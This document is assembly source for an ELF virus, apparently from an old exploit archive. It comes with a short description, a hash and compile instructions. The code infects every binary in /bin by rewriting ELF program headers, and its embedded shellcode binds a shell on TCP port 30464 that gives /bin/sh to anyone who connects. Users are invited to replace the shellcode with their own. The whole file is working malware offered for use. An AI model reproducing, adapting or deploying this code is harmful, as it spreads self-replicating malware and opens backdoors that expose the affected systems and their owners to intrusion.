ELF binary infector written in assembly. Infects all binaries in /bin and opens a backdoor on port 30464. Shellcode can be added at the end.
b9973eeb2a742b906827bee86168be04984e30a36b880c9138bb8905fd7d0d35
/*
* ELF infector
* -bysin@efnet
*
* Infects every elf binary in /bin and opens a
* backdoor on port 30464.
*
* # telnet localhost 30464
* Trying 127.0.0.1...
* Connected to localhost.
* Escape character is '^]'.
* uname -a;
* Linux Alpha 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
*
* To compile, type:
*
* gcc -o infect infect.S -nostdlib
*
* If you create your own shellcode, you must
* edit SHELLCODE_LEN to be 765 + the length
* of the new shellcode.
*
*/
SHELLCODE_LEN = 765 + 241
INFECT_DIR = 0x6E69622F
/****************************/
/* INITIAL INFECT */
/****************************/
.globl _start
_start:
pushl $0x0
/* START OF SHELLCODE THAT GETS COPIED */
jmp main
getstart:
call getstart2
main:
mov %esp,%esi
sub $0x100,%esp
/* open(INFECT_DIR, O_RDONLY, 0); */
push $0x0
push $INFECT_DIR
mov %esp,%ebx
xor %edx,%edx
xor %ecx,%ecx
mov $0x5,%eax
int $0x80
add $0x8,%esp
cmp $0x0,%eax
jl error1
mov %eax,%ebx
/* getdents(td,%esp,$0x2610); */
mov $0x2610,%edx
sub %edx,%esp
mov %esp,%ecx
mov $0x8d,%eax
int $0x80
/* close(td); */
mov $0x6,%eax
int $0x80
nextnode:
lea 10(%esp),%ebx
xor %eax,%eax
mov 8(%esp),%ax
cmp $0x0,%eax
je done
add %eax,%esp
movsbl (%ebx),%ecx
cmp $0x2e,%cl
je nextnode
sub $0x5,%ebx
movl $INFECT_DIR,(%ebx)
movb $0x2f,4(%ebx)
/* open(..., O_RDWR, 644); */
mov $0x0284,%edx
mov $0x2,%ecx
mov $0x5,%eax
int $0x80
cmp $0x0,%eax
jl error1
pushl %eax
/* fstat(fd, %esp); */
sub $0x20,%esp
mov %eax,%ebx
mov %esp,%ecx
mov $0x1c,%eax
int $0x80
mov 16(%esp),%edx
add $0x20,%esp
cmp %ebx,%edx
jle error2
/* %edx = file size */
add $0x4,%edx
/* mmap(NULL, %edx, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) */
pushl $0x0
pushl $0xffffffff
pushl $0x22
pushl $0x3
pushl %edx
pushl $0x0
mov %esp,%ebx
mov $0x5a,%eax
int $0x80
mov %eax,%edi
add $0x18,%esp
cmp $0x0,%edi
je error2
/* %edi = memory space */
mov %edx,(%edi)
add $0x4,%edi
sub $0x4,%edx
/* read(fd,%edi,%edx); */
mov (%esp),%ebx
mov %edi,%ecx
mov $0x3,%eax
int $0x80
cmp %edx,%eax
jl error3
/* test to see if its a real elf file */
mov (%edi),%ebx
cmp $0x464c457f,%ebx
jne error3
/* already infected? */
mov 20(%edi),%ebx
cmp $0x4,%ebx
je error3
/* you have been marked */
movl $0x4,20(%edi)
/* save origional start address */
pushl 24(%edi)
/* phdr offset */
mov 28(%edi),%edx
/* phdr len */
mov 44(%edi),%ax
cmp $0x0,%ax
je error4
loop:
pushw %ax
/* do shit*/
mov (%edi,%edx),%eax /* OFFSETL(phdr) != PT_LOAD */
cmp $0x1,%eax
jne loop2
mov 4(%edi,%edx),%eax /* OFFSETL(phdr+4) */
cmp $0x0,%eax
je loop2
mov 20(%edi,%edx),%eax /* OFFSETL(phdr+20) > 0x100000 */
cmp $0xffff,%eax
popw %ax
jg error4
mov 4(%edi,%edx),%eax
mov 16(%edi,%edx),%ebx
add %ebx,%eax
pushl %eax /* offset */
mov 8(%edi,%edx),%eax
mov 20(%edi,%edx),%ebx
add %ebx,%eax
mov %eax,24(%edi)
mov 20(%edi,%edx),%eax
mov 16(%edi,%edx),%ebx
sub %ebx,%eax
pushl %eax /* bss_len */
jmp endloop
/* do shit*/
loop2:
add $0x20,%edx /* phdr+=0x20; */
popw %ax
dec %ax
jne loop
jmp error4
endloop:
/* shdr offset */
mov 32(%edi),%edx
/* shdr len */
mov 48(%edi),%ax
cmp $0x0,%ax
je error5
koop:
pushw %ax
/* begin koop */
mov 16(%edi,%edx),%eax /* OFFSETL(shdr+16) >= offset */
mov 6(%esp),%ebx
cmp %ebx,%eax
jl koop2
mov $SHELLCODE_LEN,%eax
mov 2(%esp),%ebx
add %ebx,%eax
add %eax,16(%edi,%edx)
/* end koop */
koop2:
add $0x28,%edx /* shdr+=40; */
popw %ax
dec %ax
jne koop
/* phdr offset */
mov 28(%edi),%edx
/* phdr len */
mov 44(%edi),%ax
cmp $0x0,%ax
je error5
xor %ecx,%ecx
soop:
pushw %ax
/* do shit*/
mov (%edi,%edx),%eax /* OFFSETL(phdr) == PT_DYNAMIC */
cmp $0x2,%eax
je soop2
cmp $0x0,%ecx
je moveisnull
movenotnull:
mov $SHELLCODE_LEN,%eax /* OFFSETL(phdr+4)+=len+bss_len; */
mov 2(%esp),%ebx
add %ebx,%eax
add %eax,4(%edi,%edx)
jmp soop2
moveisnull:
mov (%edi,%edx),%eax /* OFFSETL(phdr) != PT_LOAD */
cmp $0x1,%eax
jne soop2
mov 4(%edi,%edx),%eax /* OFFSETL(phdr+4) */
cmp $0x0,%eax
je soop2
mov $SHELLCODE_LEN,%eax /* OFFSETL(phdr+16)+=len+bss_len; */
mov 2(%esp),%ebx
add %ebx,%eax
add %eax,16(%edi,%edx)
add %eax,20(%edi,%edx) /* OFFSETL(phdr+20)+=len+bss_len; */
inc %ecx /* move++ */
/* end do shit */
soop2:
add $0x20,%edx /* phdr+=0x20; */
popw %ax
dec %ax
jne soop
endsoop:
/* if (OFFSETL(32) >= offset) */
mov 32(%edi),%eax
mov 4(%esp),%ebx
cmp %ebx,%eax
jl nextt
mov $SHELLCODE_LEN,%eax /* OFFSETL(32)+=len+bss_len; */
mov (%esp),%ebx
add %ebx,%eax
add %eax,32(%edi)
nextt:
/* if (OFFSETL(28) >= offset) */
mov 28(%edi),%eax
mov 4(%esp),%ebx
cmp %ebx,%eax
jl nextl
mov $SHELLCODE_LEN,%eax /* OFFSETL(28)+=len+bss_len; */
mov (%esp),%ebx
add %ebx,%eax
add %eax,28(%edi)
nextl:
/* lseek(fd,0,SEEK_SET); */
mov 12(%esp),%ebx
xor %ecx,%ecx
xor %edx,%edx
mov $0x13,%eax
int $0x80
/* write(fd, data, offset); */
mov %edi,%ecx
mov 4(%esp),%edx
mov $0x4,%eax
int $0x80
/* for (i=0;i<bss_len;i++) write(fd, &null, 1); */
mov (%esp),%eax
moop:
push %eax
/* write(fd, 0, 1); */
mov $0x1,%edx
pushl $0x0
mov %esp,%ecx
mov $0x4,%eax
int $0x80
popl %edx
pop %eax
dec %eax
jne moop
/* write(fd, $0x68, 1); */
pushl $0x68
mov %esp,%ecx
mov $0x1,%edx
mov $0x4,%eax
int $0x80
popl %edx
/* write(fd, old_eip, 4); */
mov $0x4,%edx
mov %esp,%ecx
add $0x8,%ecx
mov $0x4,%eax
int $0x80
/* write(fd, SHELLCODE, SHELLCODE_LEN); */
jmp getstart
getstart2:
popl %ecx
sub $0x7,%ecx
mov $SHELLCODE_LEN,%edx
mov $0x4,%eax
int $0x80
/* write(fd, data + offset, size - offset); */
mov %edi,%ecx
mov -4(%edi),%edx
add 4(%esp),%ecx
sub 4(%esp),%edx
sub $0x4,%edx
mov $0x4,%eax
int $0x80
error5:
popl %eax
popl %eax
error4:
popl %eax
error3:
/* munmap(%edi,*(%edi-4)); */
sub $0x4,%edi
mov %edi,%ebx
mov (%edi),%ecx
mov $0x5b,%eax
int $0x80
error2:
popl %ebx
/* close(fd); */
mov $0x6,%eax
int $0x80
error1:
jmp nextnode
exit:
/* exit(0); */
mov $0x1,%eax
int $0x80
backinfect:
cmp $0x0,(%esi)
je exit
xor %eax,%eax
xor %ebx,%ebx
xor %ecx,%ecx
xor %edx,%edx
mov %esi,%esp
ret
done:
/****************************/
/* SHELLCODE */
/* jmp backinfect when done */
/****************************/
/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
xorl %eax,%eax
xorl %ebx,%ebx
xorl %ecx,%ecx
xorl %edx,%edx
xorl %ebp,%ebp
movb $0x66,%al
movb $0x1,%bl
pushl %ecx
movb $0x6,%cl
pushl %ecx
movb $0x1,%cl
pushl %ecx
movb $0x2,%cl
pushl %ecx
leal (%esp),%ecx
int $0x80
add $0x10,%esp
/* bind(fd, (struct sockaddr)&sin, sizeof(sin) ) */
movb $0x2,%bl
xorl %ecx,%ecx
pushl %ecx
pushl %ecx
pushl %ecx
movb $0x77,%cl
pushw %cx
movb $0x2,%cl
pushw %cx
leal (%esp),%ecx
movb $0x10,%dl
pushl %edx
pushl %ecx
pushl %eax
leal (%esp),%ecx
movl %eax,%edx
xorl %eax,%eax
movb $0x66,%al
int $0x80
add $0x1c,%esp
xor %ecx,%ecx
cmp %eax,%ecx
je skip1
jmp backinfect
skip1:
/* fork() */
mov %eax,%ebp
movl %eax,%ebx
xorl %eax,%eax
movb $0x2,%al
int $0x80
testl %eax, %eax
je child
jmp backinfect
child:
/* listen(fd, 1) */
movb $0x1,%bl
pushl %ebx
pushl %edx
leal (%esp),%ecx
xorl %eax,%eax
movb $0x66,%al
movb $0x4,%bl
int $0x80
add $0x08,%esp
xorl %ebx,%ebx
incomming:
xorl %eax,%eax
cmp %eax,%ebx
je skip2
/* close(old cli) */
mov $0x6,%al
int $0x80
xorl %ebx,%ebx
xor %eax,%eax
skip2:
/* cli = accept(fd, 0, 0) */
pushl %eax
pushl %eax
pushl %edx
leal (%esp),%ecx
movb $0x5,%bl
movb $0x66,%al
int $0x80
add $0x0c,%esp
/* fork() */
mov %eax,%ebp
movl %eax,%ebx
xorl %eax,%eax
movb $0x2,%al
int $0x80
testl %eax, %eax
je incomming
sub $0x80,%esp
/* dup2(cli, 0) */
xorl %ecx,%ecx
xorl %eax,%eax
movb $0x3f,%al
int $0x80
/* dup2(cli, 1) */
xorl %ecx,%ecx
inc %ecx
movl %ebp,%ebx
xorl %eax,%eax
movb $0x3f,%al
int $0x80
/* dup2(cli, 2) */
inc %ecx
xorl %eax,%eax
movb $0x3f,%al
int $0x80
/* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
xorl %ebx,%ebx
pushl %ebx
pushl $0x68732f6e
pushl $0x69622f2f
movl %esp,%ebx
leal 0x8(%esp),%edx
xorl %ecx,%ecx
pushl %ecx
pushl %ebx
leal (%esp),%ecx
xorl %eax,%eax
movb $0xb,%al
int $0x80
error:
/* close(0) */
xor %eax,%eax
xorl %ebx,%ebx
mov $0x6,%al
int $0x80
/* close(1) */
inc %bl
xor %eax,%eax
mov $0x6,%al
int $0x80
/* exit(1) */
xor %eax,%eax
mov $0x1,%al
int $0x80